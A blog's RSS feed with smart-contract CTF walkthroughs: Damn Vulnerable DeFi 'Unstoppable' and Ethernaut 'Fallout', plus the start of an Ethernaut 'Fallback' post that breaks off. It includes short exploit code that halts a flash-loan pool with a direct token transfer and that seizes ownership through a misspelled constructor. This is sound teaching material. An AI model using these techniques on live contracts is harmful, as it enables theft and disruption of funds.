<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss/styles.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>0b Blog</title><description>Read about software development, maths, blockchain, security and embebed syst</description><link>https://kevinbravo.com</link><language>en-us</language><item><title>Damn Vulnerable DeFi Solution 1: Unstoppable</title><link>https://kevinbravo.com/0b/damn-vulnerable-defi-1</link><guid isPermaLink="true">https://kevinbravo.com/0b/damn-vulnerable-defi-1</guid><description>Learn how the Damn Vulnerable DeFi Unstoppable challenge works, including flash loans, lending pools, and the smart contract invariant that stops the pool.</description><pubDate>Sun, 08 May 2022 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In this series of articles we are going to make a walkthrough of the famous CTF &lt;strong&gt;Damn Vulnerable Defi&lt;/strong&gt;, created by one of the top auditors of OpenZeppelin,&lt;/p&gt;
&lt;p&gt;My goal with this series of articles is to show you, not only the solution but also what was my process to reach that solution, also explain basic and advanced topics of blockchain development, Defi, EVM…&lt;/p&gt;
&lt;p&gt;Our approach will be the same as we were doing in the &lt;a href=&quot;https://kevdevto.hashnode.dev/series/ethernaut&quot;&gt;ethernaut series&lt;/a&gt;, we are going to describe the contracts and some concepts that you may not be familiar with, explain how we can hack the contract and hack the contract.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ready?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;To set up the development environment you can go to the Damn Vulnerable Defi web and follow the instructions to download the code and start hacking.&lt;/p&gt;
&lt;p&gt;Let&apos;s start with our first Challenge: &lt;strong&gt;Unstoppable&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;The challenge&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;There&apos;s a &lt;strong&gt;lending pool&lt;/strong&gt; with a million DVT tokens in balance, offering &lt;strong&gt;flash loans&lt;/strong&gt; for free. If only there was a way to &lt;strong&gt;attack and stop the pool from offering flash loans&lt;/strong&gt; … You start with 100 DVT tokens in balance.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Let&apos;s first understand a couple of concepts, &lt;em&gt;Lending Pool&lt;/em&gt; and &lt;em&gt;Flash loans&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Explaining some concepts&lt;/h2&gt;
&lt;h3&gt;Lending pools&lt;/h3&gt;
&lt;p&gt;In the world of decentralized finance, Lending pools act as accounts in where any user who wants to &lt;strong&gt;lend&lt;/strong&gt; their money, can deposit it in that account for any other user who wants to &lt;strong&gt;borrow&lt;/strong&gt; some money. That&apos;s the reason why they are called pools, because many users can lend money (lenders) in a single account to make a pool of money for any other user who wants to borrow from (borrowers). These accounts are smart contracts. Of course, the idea is much more complex than that, but let&apos;s keep it simple.&lt;/p&gt;
&lt;p&gt;To be able to borrow money from a lending pool we have to provide some kind of collateral, &lt;strong&gt;this is to maintain the liquidity in the pool&lt;/strong&gt; The most “basic” way is by providing over-collateralization to borrow some money. Example&lt;/p&gt;
&lt;p&gt;Let&apos;s say we have a pool in which users can lend DAI, for any other user who wants to borrow DAI from the pool they have to provide 110% in any other currency as collateral.&lt;/p&gt;
&lt;p&gt;E.g: If I want to borrow 100 DAI I have to provide 110 ETH as collateral.&lt;/p&gt;
&lt;p&gt;Of course, protocols use different types of mechanisms to maintain liquidity, this is just the most simple example.&lt;/p&gt;
&lt;h3&gt;Flash loans&lt;/h3&gt;
&lt;p&gt;Well, flash loans allow us to borrow some money but without providing any kind of collateral, WHAT? Free money??&lt;/p&gt;
&lt;p&gt;Yeah, kinda, but why?&lt;/p&gt;
&lt;p&gt;This is thanks to smart contract technology, to be able to do a flash loan we have to return the same amount that we borrow in the same block transaction.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Remember, when smart contracts call a function of other smart contracts they do not execute another transaction, they only pass a message within them in the same transaction.&lt;/em&gt; You can read more about that &lt;a href=&quot;https://kevdevto.hashnode.dev/ethernaut-3-solution-coin-flip#heading-how-transactions-and-messages-works&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But, why do I want to borrow money to return it immediately? Well, the most common example is to do &lt;strong&gt;”arbitrage”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s say &lt;code&gt;Token A&lt;/code&gt; is in &lt;code&gt;DEX A&lt;/code&gt; at 10 ETH but that same &lt;code&gt;Token A&lt;/code&gt; is in &lt;code&gt;DEX B&lt;/code&gt; at 11 ETH, you can buy &lt;code&gt;Token A&lt;/code&gt; in &lt;code&gt;DEX A&lt;/code&gt; at 10 ETH and then sell it in &lt;code&gt;DEX B&lt;/code&gt; for 11ETH, and bum!!! PROFIT.&lt;/p&gt;
&lt;p&gt;![stonks-2286073.jpg](https://cdn.hashnode.com/res/hashnode/image/upload/v1652045914789/s8UzkFvE_.jpg align=&quot;left&quot;)&lt;/p&gt;
&lt;p&gt;Of course, &lt;strong&gt;you have to take into account the fees, gas and interest of both dexes&lt;/strong&gt; to be able to successfully execute the flash loan.&lt;/p&gt;
&lt;p&gt;Now,&lt;/p&gt;
&lt;h2&gt;Let&apos;s take a look at the contracts.&lt;/h2&gt;
&lt;h3&gt;ReceiverUnstoppable.sol&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import &quot;../unstoppable/UnstoppableLender.sol&quot;;
import &quot;@openzeppelin/contracts/token/ERC20/IERC20.sol&quot;;

/**
 * @title ReceiverUnstoppable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ReceiverUnstoppable {

    UnstoppableLender private immutable pool;
    address private immutable owner;

    constructor(address poolAddress) {
        pool = UnstoppableLender(poolAddress);
        owner = msg.sender;
    }

    // Pool will call this function during the flash loan
    function receiveTokens(address tokenAddress, uint256 amount) external {
        require(msg.sender == address(pool), &quot;Sender must be pool&quot;);
        // Return all tokens to the pool
        require(IERC20(tokenAddress).transfer(msg.sender, amount), &quot;Transfer of tokens failed&quot;);
    }

    function executeFlashLoan(uint256 amount) external {
        require(msg.sender == owner, &quot;Only owner can execute flash loan&quot;);
        pool.flashLoan(amount);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We have a function &lt;code&gt;receiveTokens&lt;/code&gt; that receives the address of a Token (an ERC20) and an amount.&lt;/p&gt;
&lt;p&gt;It evaluates whether the caller of the function is the smart contract referenced in the &lt;code&gt;pool&lt;/code&gt; variable,. If not, it’ll revert the transaction&lt;/p&gt;
&lt;p&gt;Then, it transfers the amount that we introduce as a parameter to the lending pool contract, if the transaction fails, it will revert.&lt;/p&gt;
&lt;p&gt;The other function is &lt;code&gt;executeFlashLoan&lt;/code&gt; that receives an amount as a parameter and requires that only the &lt;code&gt;owner&lt;/code&gt; of the contract, who is set during the deployment of the contract, can call it.&lt;/p&gt;
&lt;p&gt;Then it will active the &lt;code&gt;flashLoan&lt;/code&gt; function of the &lt;code&gt;pool&lt;/code&gt; contract&lt;/p&gt;
&lt;h3&gt;UnstoppableLender.sol&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import &quot;@openzeppelin/contracts/token/ERC20/IERC20.sol&quot;;
import &quot;@openzeppelin/contracts/security/ReentrancyGuard.sol&quot;;

interface IReceiver {
    function receiveTokens(address tokenAddress, uint256 amount) external;
}

/**
 * @title UnstoppableLender
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract UnstoppableLender is ReentrancyGuard {

    IERC20 public immutable damnValuableToken;
    uint256 public poolBalance;

    constructor(address tokenAddress) {
        require(tokenAddress != address(0), &quot;Token address cannot be zero&quot;);
        damnValuableToken = IERC20(tokenAddress);
    }

    function depositTokens(uint256 amount) external nonReentrant {
        require(amount &amp;gt; 0, &quot;Must deposit at least one token&quot;);
        // Transfer token from sender. Sender must have first approved them.
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        poolBalance = poolBalance + amount;
    }

    function flashLoan(uint256 borrowAmount) external nonReentrant {
        require(borrowAmount &amp;gt; 0, &quot;Must borrow at least one token&quot;);

        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore &amp;gt;= borrowAmount, &quot;Not enough tokens in pool&quot;);

        // Ensured by the protocol via the `depositTokens` function
        assert(poolBalance == balanceBefore);
        
        damnValuableToken.transfer(msg.sender, borrowAmount);
        
        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
        
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter &amp;gt;= balanceBefore, &quot;Flash loan hasn&apos;t been paid back&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We have a &lt;code&gt;depositTokens&lt;/code&gt; function that allows us to provide liquidity to the pool, to lend some Damn Vulnerable Token, it uses the &lt;code&gt;transferFrom&lt;/code&gt; function of the ERC20 interface to transfer tokens from our balance to the balance of the contract and updates the &lt;code&gt;poolBalance&lt;/code&gt; state variable adding the amount of tokens we transferred.&lt;/p&gt;
&lt;p&gt;Then, we have a &lt;code&gt;flashLoan&lt;/code&gt; function, that receives a uint256 as a parameter, this is the amount we want to borrow.&lt;/p&gt;
&lt;p&gt;It checks what is the current balance of the tokens that this contract has in the DVT tokens, stores it in a local variable &lt;code&gt;balanceBefore&lt;/code&gt; and It requires that the pool have enough tokens for us to borrow, if not it reverts.&lt;/p&gt;
&lt;p&gt;Then it asserts that the &lt;code&gt;poolBalace&lt;/code&gt; storage variable is equal to the &lt;code&gt;balanceBefore&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Iit transfer to us the amount we want to borrow, to do whatever operations we want&lt;/p&gt;
&lt;p&gt;Calls the &lt;code&gt;receiveTokens&lt;/code&gt; function of the UnstoppableReceiver contract&lt;/p&gt;
&lt;p&gt;It checks again the current balance of tokens of the contract in the DVT smart contract and stores it in a variable &lt;code&gt;balanceAfter&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And finally checks whether &lt;code&gt;balanceAfter&lt;/code&gt; &amp;gt;= &lt;code&gt;balanceBefore&lt;/code&gt;, to assert that all the liquidity borrowed was returned.&lt;/p&gt;
&lt;h2&gt;Let&apos;s think&lt;/h2&gt;
&lt;p&gt;Ok, since we have to &lt;strong&gt;stop&lt;/strong&gt; the flash loan function, there has to be some storage variable we can modify to revert all the calls made to the function, or at least some change we can make in the contract that allows us to modify its behavior forever. And what are those errors that can revert and stop smart contracts during execution? Of course, we can run out of gas, but that problem can be solved by putting more gas into the transaction. I’m referring to those specific lines of code that can revert transactions based on some parameters… exactly, the &lt;code&gt;require&lt;/code&gt; , &lt;code&gt;asserts&lt;/code&gt;, and &lt;code&gt;if throw&lt;/code&gt; statements. So, let&apos;s check those…&lt;/p&gt;
&lt;p&gt;In the &lt;code&gt;depositTokens&lt;/code&gt; function there isn&apos;t an error or bug we can exploit to stop the flash loan, since only increments the balance of the contract&lt;/p&gt;
&lt;p&gt;In the &lt;code&gt;flashLoan&lt;/code&gt; function there are 3 points to which the contract can revert.&lt;/p&gt;
&lt;p&gt;The first one, checks if the amount passed as a parameter is greater than zero, this is the most basic prevention you have to add when you are receiving tokens; so we can’t exploit it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;require(amount &amp;gt; 0, &quot;Must deposit at least one token&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The last require statement checks if all the money borrowed was returned successfully, the variables it checks are available only during the execution of the function since those are memory variables. So, at least we can modify those variables during the execution of the function to cause an error, every time someone calls it, there is nothing to do there.&lt;/p&gt;
&lt;p&gt;With the assert statement, something is interesting;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;assert(poolBalance == balanceBefore);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It checks if &lt;code&gt;poolBalance&lt;/code&gt; and &lt;code&gt;balanceBefore&lt;/code&gt; are equal.&lt;/p&gt;
&lt;p&gt;If we see, &lt;code&gt;poolBalance&lt;/code&gt; always updates when someone execute the &lt;code&gt;depositToken&lt;/code&gt; function, it tracks &lt;strong&gt;internally&lt;/strong&gt; how many DVTs the contract has.&lt;/p&gt;
&lt;p&gt;But, &lt;code&gt;balanceBefore&lt;/code&gt; is a memory variable that is set during the execution of &lt;code&gt;flashLoan&lt;/code&gt; and it checks, not the internal amount of tokens that this contract has, but the number of tokens that the address of this contract has in the ERC20 DVT contract.&lt;/p&gt;
&lt;p&gt;Is there a condition - escenario in where those variables can differ&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Remember that the specification of every ERC20 contract must have a mapping that tracks how many tokens a specific account has.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You got it?, exactly,** we have to find a way to increment our balance directly in the DVT ERC20 smart contract** Since we are not calling the &lt;code&gt;depositToken&lt;/code&gt; function, &lt;code&gt;poolBalance&lt;/code&gt; wouldn&apos;t be updated, but since we are updating our balance in the DVT contract our balance in that contract will update and the assertion will no longer be true.&lt;/p&gt;
&lt;h2&gt;Lets hack the contract&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;HEY, try to hack the contract on your own, it&apos;s better to have hands-on experience by yourself.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Remember we have to code our solutions in the provided &lt;code&gt;.challenge.js&lt;/code&gt; files (&lt;em&gt;inside each challenge&apos;s folder in the test folder&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;First, we have to execute a function that allows us to increment our DVT token balance in the DVT token contract. The &lt;code&gt;transfer&lt;/code&gt; function will allow us to do that, every ERC20 smart contract must have a &lt;code&gt;transfer&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;Since we were given 100 DVT (in the &lt;code&gt;attacker&lt;/code&gt; address) tokens at the beginning, we can just transfer those to the &lt;code&gt;UnstoppableLender&lt;/code&gt; smart contract.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;await this.token.connect(attacker)
await this.token.transfer(this.pool.address, INITIAL_ATTACKER_TOKEN_BALANCE);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the first line of code, we are just telling hardhat, that we want to interact with the DVT smart contract using the &lt;code&gt;attacker&lt;/code&gt; address&lt;/p&gt;
&lt;p&gt;In the second line of code, we are effectively transferring all our tokens to the &lt;code&gt;UnstoppableLender&lt;/code&gt; contract. Using the transfer function which receives the address we want to send the tokens and the number of tokens we want to send&lt;/p&gt;
&lt;p&gt;That&apos;s it.&lt;/p&gt;
&lt;p&gt;Now just run&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ yarn hardhat test test/unstoppable/unstoppable.challenge.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Done&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;That&apos;s all folks…&lt;/p&gt;
&lt;p&gt;You can see the complete solution in this &lt;a href=&quot;https://github.com/mustafinho/damn-vulnerable-defi-solutions/blob/a82f8c50fc9765ad9de09bfb810b541c372acc59/test/unstoppable/unstoppable.challenge.js#L42-L43&quot;&gt;GitHub repo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If you have any comments or suggestions please leave it in the comments section, also if you see any problem with the code feel free to make a PR.&lt;/p&gt;
&lt;p&gt;You can follow me on my Twitter @0bkevin and DM me, I’m always happy to talk and get to know more people in this amazing community.&lt;/p&gt;
&lt;p&gt;Stay tuned for the next Damn Vulnerable Token solution: &lt;strong&gt;Naive receiver&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Ethernaut solution 2: Fallout</title><link>https://kevinbravo.com/0b/ethernaut-2</link><guid isPermaLink="true">https://kevinbravo.com/0b/ethernaut-2</guid><description>Learn how to solve the Ethernaut challenge &quot;Fallout&quot; by exploiting a typo in the constructor function. This step-by-step guide uses Brownie to take ownership of the contract and submit the solution. Perfect for blockchain developers and security enthusiasts.</description><pubDate>Sat, 02 Jul 2022 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This second challenge shows us how a simple typo error can be a great mistake that ruins all.&lt;/p&gt;
&lt;p&gt;Let&apos;s solve it.&lt;/p&gt;
&lt;p&gt;First, let&apos;s take a look into the code, &lt;strong&gt;we are not going to deep dive into all the code of the contract since this is just a typo error&lt;/strong&gt;, and we only need just one function.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import &apos;@openzeppelin/contracts/math/SafeMath.sol&apos;;

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address =&amp;gt; uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            &quot;caller is not the owner&quot;
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] &amp;gt; 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Remember in our previous post, when I said that the &lt;strong&gt;solidity constructor used to be named the same as the contract name declaration.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
Pragma solidity 0.4.0;

  contract MyIncredibleAndAwesomeContractWeb3FuckingAmazingMetaverse {
    
    Address owner;
    Uint whatever;
    
  function MyIncredibleAndAwesomeContractWeb3FuckingAmazingMetaverse {
 
  	Owner = msg.sender
  	Whatever = msg.value
  }
  //other functions….
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Since version 0.5.0 of solidity constructors now have to be defined by the&lt;/strong&gt; &lt;code&gt;constructor&lt;/code&gt; keyword offered by solidity&lt;/p&gt;
&lt;p&gt;You can read more &lt;a href=&quot;https://medium.com/r/?url=https%3A%2F%2Fdocs.soliditylang.org%2Fen%2Fv0.8.11%2F050-breaking-changes.html%23constructors&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So, &lt;em&gt;if a constructor&lt;/em&gt;, in olders versions of solidity, &lt;em&gt;must have the same name as the contract&lt;/em&gt;, &lt;strong&gt;what would happens if we commit a typo in the declaration of the constructor, that mismatch the current name of the contract?&lt;/strong&gt; :hushed:&lt;/p&gt;
&lt;p&gt;What would happen if that constructor will be now a ordinary, dumb, and boring function, that we can call whenever we want? And if that ordinary, dumb, and boring function have the ability to declare ourselves as the new owner of the contract?. :frowning:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;That is just what happened with this contract.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643940589173/oSw_ptPfL.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Did you see it?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643940607647/ZVEFOfFfN.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643940637518/V9I0e2C0h.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;What about now?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643940658554/ZaG8gJLHu.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Heh :v&lt;/p&gt;
&lt;p&gt;Exactly, &lt;strong&gt;there is a typo in the constructor declaration&lt;/strong&gt; = &lt;code&gt;Fallout&lt;/code&gt; → &lt;code&gt;Fal1out&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And results, &lt;strong&gt;that function declares as owner whoever who calls it.&lt;/strong&gt; :smiling_imp:&lt;/p&gt;
&lt;p&gt;Well, since we just have to take the ownership of the contract, &lt;strong&gt;we just have to call the misspelling construction function of the contract, to steal the ownership.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let&apos;s do it&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We are going to use brownie, so let&apos;s create our brownie project.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brownie init
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you don&apos;t know how to use brownie, &lt;a href=&quot;https://kevdevto.hashnode.dev/brownie-everything-you-need-to-know-to-write-test-and-deploy-your-smart-contracts&quot;&gt;you can check this article written by me&lt;/a&gt; :bowtie:&lt;/p&gt;
&lt;p&gt;First, we need the basics to interact with that contract:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Its ab&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Its address&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let&apos;s create our interface, to be able to grab the abi, in the folder interfaces create a new file and write this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pragma solidity ^0.6.0;

interface IFallout {
    function Fal1out() external payable;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since we are only using one function &lt;code&gt;Fal1back&lt;/code&gt; , that&apos;s the only one that we have to put in the interface declaration.&lt;/p&gt;
&lt;p&gt;Okay, now, let&apos;s grab the instance address, in the browser console you can see it writing: &lt;code&gt;instance&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643940852304/kZkY5IzDx.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Okay, now lets create a script to hack the contract, in our scripts folder lets create a new file&lt;/p&gt;
&lt;p&gt;&lt;code&gt;hack.py&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s make the necessary imports&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from brownie import interface, accounts, config
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s grab our account and store the instance contract address&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from brownie import interface, accounts, config

INSTANCE_ADDRESS = &quot;0xfaAB33fe1AbD3770E225De9FdC9588C98F573f68&quot;
ACCOUNT = accounts.add(config[&quot;wallets&quot;][&quot;from_key&quot;])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And lets make our function to hack the contract.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
def hack():
    instance_contract = interface.IFallout(INSTANCE_ADDRESS)
    instance_contract.Fal1out(
      {&quot;from&quot;: ACCOUNT, &quot;value&quot;: 0.000000000000000001}
    )
    print(
      f&quot;Contract has been hacked. The new owner now is {instance_contract.owner()}&quot;
    )

def main():
    hack()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We just have to grab the contract object using the &lt;code&gt;interface&lt;/code&gt; &lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/core-contracts.html#using-local-interfaces&quot;&gt;method provided by brownie&lt;/a&gt;, and then call &lt;code&gt;Fal1out&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This would give us the ownership of the contract.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Let&apos;s run this&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ brownie run scripts/hack.py --network rinkeby
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;That&apos;s it.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643941108371/737V5GdKq.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now, &lt;strong&gt;let&apos;s submit the instance to the ethernaut contract.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We need the ABI and the address of the ethernaut contract.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To grab the address just put &lt;code&gt;ethernaut.address&lt;/code&gt; in the browser console.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643941131858/mi0hIiXMw.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Store the address in a variable&lt;/p&gt;
&lt;p&gt;And to grab the abi just grab it from the ethernaut contract object that is in the browser console.&lt;/p&gt;
&lt;p&gt;Write &lt;code&gt;ethernaut&lt;/code&gt; in the browser console.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643941240365/naNt2QfKL.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And paste it in your file&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remember to change the&lt;/strong&gt; &lt;code&gt;true&lt;/code&gt; and &lt;code&gt;false&lt;/code&gt; statement, to add the capital letter &lt;code&gt;True&lt;/code&gt; &lt;code&gt;False&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s make a function to submit the contract.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def submit_the_contract():
  
    ethernaut_contract = Contract.from_abi(
      &quot;Ethernaut&quot;,
      ETHERNAUT_CONTRACT_ADDRESS, 
      ETHERNAUT_ABI)
    print(&quot;Submiting instance&quot;)
    
    ethernaut_contract.submitLevelInstance(
      INSTANCE_ADDRESS, {&quot;from&quot;: ACCOUNT}
    )
    print(&quot;Instance submitted. Level passed. WOHOOO!&quot;)
    print(&quot;refresh the page of ethernaut&quot;)


def main():
    submit_the_contract()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First grab the contract object using the &lt;code&gt;Contract.from_abi()&lt;/code&gt; method of brownie.&lt;/p&gt;
&lt;p&gt;After that, we just need to call the &lt;code&gt;submitLevelInstance&lt;/code&gt; Method to submit your instance, passing as arguments the current instance level&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brownie run scripts/submit_contract.py --network rinkeby
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643941331614/aUgRsLdj5.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;And, that&apos;s it. We just completed the second challenge.&lt;/strong&gt; :stuck_out_tongue_closed_eyes:&lt;/p&gt;
&lt;p&gt;You can grab the complete solution in this &lt;a href=&quot;https://medium.com/r/?url=https%3A%2F%2Fgithub.com%2Fmustafinho%2Fethernaut_solutions%2Ftree%2Fmain%2Fethernaut_2_fallout&quot;&gt;github repo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If you have any comment or suggestions please leave it in the comments section, also if you see any problem with the code feel free to make a PR.&lt;/p&gt;
&lt;p&gt;You can follow me on my twitter &lt;a href=&quot;https://twitter.com/0bkevin&quot;&gt;@0bkevin&lt;/a&gt; and DM me, I&apos;m always happy to talk and know more people in this amazing community&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Stay tuned for the next Ethernaut solution:&lt;/strong&gt; Coin Flip&lt;/p&gt;
</content:encoded></item><item><title>Ethernaut solution 1: Fallback</title><link>https://kevinbravo.com/0b/ethernaut-1</link><guid isPermaLink="true">https://kevinbravo.com/0b/ethernaut-1</guid><description>Learn how to solve the Ethernaut challenge &quot;Fallback&quot; by exploiting the contract&apos;s vulnerabilities. This step-by-step guide uses Brownie to take ownership of the contract and withdraw its balance. Perfect for blockchain developers and security enthusiasts.</description><pubDate>Sun, 01 Oct 2023 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Smart contracts are just a great revolution in the terms of how we write and interact with code and platforms worldwide,** but with new technologies also comes a lot of new issues that we have to be aware of if we don’t want malicious people hack our code.**&lt;/p&gt;
&lt;p&gt;That’s the purpose of this capture the flag (CTF): &lt;a href=&quot;https://ethernaut.openzeppelin.com/&quot;&gt;Ethernaut&lt;/a&gt;, created by the Open Zeppelin team,** it’s a really funny CTF in where we can learn about all the bugs or failures that the people made in the past writing solidity code**, so we don’t repeat them, in a very enjoyable and hands on code way.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I’m going to make this walkthrough through all the Ethernauts problems and see how we can solve them&lt;/strong&gt; and what are the things we should avoid to not commit these same errors again.&lt;/p&gt;
&lt;p&gt;And, we are going to use different smart contract frameworks, &lt;strong&gt;because all the solutions are going to be written programmatically&lt;/strong&gt;, not by using the interactive browser console that the guys at Open Zeppelin give to us, so we just can learn the main frameworks that the industry is using to write smart contracts (&lt;em&gt;Brownie, Truffle and Hardhat&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;First, &lt;strong&gt;you need some previous knowledge to be able to follow me:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.soliditylang.org/en/latest/introduction-to-smart-contracts.html#simple-smart-contract&quot;&gt;Basic solidity syntax&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ethereum.stackexchange.com/questions/50882/metamask-public-and-private-keys&quot;&gt;Public/private key pair.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Basic python syntax&lt;/li&gt;
